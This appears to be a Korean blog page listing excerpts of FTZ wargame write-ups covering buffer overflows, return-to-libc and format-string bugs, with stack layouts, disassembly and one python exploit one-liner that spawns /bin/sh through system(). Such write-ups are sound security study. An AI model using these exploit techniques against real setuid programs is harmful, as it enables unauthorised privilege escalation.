일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- vi 외부 명령어
- KASAN
- vim
- 인터럽트
- Find
- >
- ftz
- Sqix
- 오버워치 세이버메트릭스
- #
- command
- #Best of the Best #OS #MINT64 #Sqix
- libpcap
- #Qt Creator
- BEST of the BEST
- libtins
- 오버워치
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- Overwatch League SaberMetrics
- #MINT64 #Sqix
- #IntelManual
- FTZ 레벨2
- Network
- C++11
- linux
- vi
- Today
- Total
목록Wargame/FTZ (20)
Sqix
FTZ를 전부 클리어했습니다. 이제 LOB / Fedora Castle을 풀고, Pwnable.kr , Pwnable.tw, HITCON Training을 풀며 포스팅하려고 합니다.
RTL 문제가 나왔습니다. 그런데 여기엔 setreuid가 없네요? dummy가 20 bytes이니 총 44bytes(SFP)를 A로 덮고 RET는 system으로 덮고 RET + 4를 다시 A로 덮고(RET 이후 돌아갈 함수의 주소, ebp + 4), RET + 8을 /bin/sh로 넣어 주면(arg00) /bin/sh을 구하는 RTL을 할 수 있습니다.stack 구조 [ buf 20 ] [ dummy 20 ] [ SFP 4 ] [ RET 4 ] [ FUNC ADDR 4 ] [ ARGV00 ] [ ARGV01 ] ... exploit : (python -c 'print "A" * 44 + "\xa4\x7e\x12\x42" + "A" * 4 + "\xc0\xf2\x03\x42"'; cat) | ./att..
소스코드가 꽤 긴데, 여기서는 fd를 이용해서 input을 받아왔습니다. 크게 어려울 건 없네요. fd_set 구조체를 FD_ZERO 매크로로 초기화하고 FD_SET을 이용해서 STDIN_FILENO(0) 소켓번호를 fds에 추가합니다. select 함수를 이용해서 fds를 감시하도록 하였고(FD_SETSIZE, &fds만 argument로 있으므로, io stream 다중화라기보단 fds 감시 목적인 것 같습니다) FD_ISSET(fileno(stdin),&fds)을 통해서 fds가 표준입력으로 정의된 경우에만 read함수를 이용해서 사용자 입력을 받도록 하였습니다. 즉, exploit을 짤 때 C 소스에 대해서 크게 고민할 필요 없이 표준입력을 넣으면 되는 상황입니다. 결국 untrusted inpu..
저번에는 shell 함수가 있었는데 사라졌습니다. 대신 setreuid가 call 호출 이전에 주어졌네요. 그렇다면 RTL 기법을 활용해서 문제를 해결해 보겠습니다. objdump, strings 명령어를 이용해서 system(), /bin/sh의 주소를 구합니다. libASLR이 없으니 저 주소는 고정적입니다. call의 위치에 system() 함수의 주소를 넣어 놓고, fgets에 들어가는 인자를 조작해서 call 직전 stack의 최상단에 /bin/sh 주소를 넣으면 system(/bin/sh) 호출이 됩니다. 이를 위해서는 어셈을 한번 봐야겠죠 gdb 인자로 값을 밀어넣고 실행을 시켜 보도록 하겠습니다. *call이 가리키는 함수를 호출하기 직전에 스택의 맨 위에 buf의 첫 4bytes가 존재하..
프로그램의 구조 상 void (*call)() 함수 포인터가 가리키는 함수의 주소를 shell 함수로 변경하여 shell 함수를 실행시켜야 하는 것 같습니다. 우선 어셈블리를 먼저 확인해보겠습니다. 56바이트의 스택을 확보하고 fgets로 사용자에게서 입력을 받아온 뒤, *call이 가리키는 함수를 실행시킵니다. 여기서 shell 함수의 주소를 찾고, stack에서 *call의 위치(ebp에서의 거리)를 찾아 그 전까지는 덮어버리고 *call을 다른 함수로 바꿔준다면 문제가 해결될 것 같습니다. 여기에서 보면 printit 함수의 주소는 0x8048500, shell함수의 주소는 0x80484d0입니다. 어셈블리를 다시 보면, movl $0x8048500, 0xfffffff0(%ebp)라는 명령어가 있는..
==============================hint #include main(){int crap;int *check;char buf[20];fgets(buf, 45, stdin);if(*check == 0xdeadbeef){ setreuid(3096,3096); system("/bin/sh");}}============================== 이번엔 포인터로 변수가 지정되어 있습니다. 이전처럼 buf랑 dummy를 덮고 이 부분을 0xdeadbeef로 만드는 것은 할 수 없을 것 같습니다. 환경 변수에 0xdeadbeef를 등록하여 이 환경 변수의 주소를 가져오도록 하던지, 아니면 main함수에서 0xdeadbeef가 저장된 주소 혹은 오프셋을 구해서 해당 주소의 값을 참조하도록 하면..
==================================================== hint 레벨 14 이후로는 mainsource 문제를 그대로 가져왔습니다. 버퍼 오버플로우, 포맷스트링을 학습하는 데는 이 문제들이가장 효과가 좋습니다. #include #include main(){int crap;int check;char buf[20];fgets(buf, 45, stdin);if(check == 0xdeadbeef){setreuid(3095,3095);system("/bin/sh");}} ==================================================== 마찬가지로 소스코드를 복사하여 tmp 디렉토리에 붙여넣고 컴파일을 하여 gdb에 올려봤습니다. 0x38, 즉 ..
strcpy를 이용해서 bof시켜 return에 도달할 수 있도록 해서 RTL을 적용해 exploit을 해야 할 것 같습니다. kill 함수는 SIGNAL을 발생시켜 프로세스를 종료시키는 함수입니다. 이 부분을 우회해야 RET로 갈 수 있습니다. 따라서, i 변수의 위치에는 AAAA를 덮지 않고, 정확히 0x1234567을 집어넣어야 합니다. 결국 i의 위치를 계산해야 합니다. main함수를 리버싱해 봅시다 0x080483c8 :push %ebp0x080483c9 :mov %esp,%ebp0x080483cb :sub $0x418,%esp0x080483d1 :and $0xfffffff0,%esp0x080483d4 :mov $0x0,%eax0x080483d9 :sub %eax,%esp 1048만큼 스택 공간..
이번에도 BOF 문제입니다. 마찬가지로 소스코드를 복사해서 tmp에 생성하고 디버깅을 해 보도록 합시다. 우선 main함수를 리버싱해 보겠습니다. 0x08048390 :push %ebp0x08048391 :mov %esp,%ebp0x08048393 :sub $0x108,%esp0x08048399 :and $0xfffffff0,%esp0x0804839c :mov $0x0,%eax0x080483a1 :sub %eax,%esp 스택 프레임을 생성하고, 스택 공간을 264byte 만큼 확보(char str[256] + dummy 8 bytes)하고, 플래그들을 정리해 줍니다. 0x080483a3 :sub $0x8,%esp0x080483a6 :push $0xc150x080483ab :push $0xc150x080..
심하게 FSB 냄새가 나는 문제입니다. str을 printf에 직접 넣었기 때문에 이로 인해 FSB가 발생할 수 있습니다. 일단 디버깅을 위해 같은 코드를 작성하여 tmp에 넣고 진행하겠습니다. 우선 실행 흐름을 파악하기 위해 어셈블리 코드를 정적분석해 봅시다. 0x08048394 :push %ebp0x08048395 :mov %esp,%ebp0x08048397 :sub $0x108,%esp0x0804839d :and $0xfffffff0,%esp0x080483a0 :mov $0x0,%eax0x080483a5 :sub %eax,%esp 스택프레임을 생성하고, 264byte (str[256], dummy 8)의 공간을 확보하고, align을 맞춰 주고 flag를 initialize합니다. 0x080483a..